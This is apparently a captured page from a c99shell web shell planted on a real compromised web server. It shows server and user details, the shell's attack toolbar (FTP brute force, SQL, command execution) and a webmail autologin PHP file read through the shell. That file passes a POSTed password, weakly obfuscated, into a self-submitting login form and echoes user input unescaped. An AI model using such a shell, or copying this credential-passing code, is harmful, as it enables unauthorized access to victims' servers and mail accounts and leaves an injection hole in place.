arpenpr.org.br - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!
Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) Safe-mode: OFF (not secure) /var/www/html/admin/webmail/ drwxr-xr-x Free 9.43 GB of 93.48 GB (10.09%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout


<html>

<body>



<?

// include environment

require_once 'program/include/iniset.php';





// init application and start session with requested task

$RCMAIL = rcmail::get_instance();



  //$userdata = array('user' => $_SESSION['username'], 'host' => $_SESSION['imap_host'], 'lang' => $RCMAIL->user->language);

  //$OUTPUT->show_message('loggedout');

  $RCMAIL->logout_actions();



  $RCMAIL->kill_session();

  /*

 //$RCMAIL->plugins->exec_hook('logout_after', $userdata);

     */





// set the passwort in session to fill the hidden login form with revertet and base64 encoded pass

// the *yourkey* must the same string as in autologin.php to replace this after revert and decode





$pass = strrev(base64_encode($_POST['s']));

$endereco = $_POST['u'];



echo '<form name="roundcubelogin" id="roundcubelogin" action="index.php?_task=mail" method="post" target="roundcube">

<input type="hidden" name="_timezone" value="_default_" />

<input type="hidden" name="_task" value="mail" />

<input type="hidden" name="_autologin" value="1" />

<input type="hidden" name="_user" value="'.$endereco.'" />

<input type="hidden" name="_host" value="mail.funarpen.com.br" />

<input type="hidden" name="_pass" value="'.$pass.'" />



</form>';

?>

<script language="javascript">

var form1 = document.getElementById('roundcubelogin');



form1.submit();

</script>



</body>

</html>

:: Command execute ::
Enter:	Select: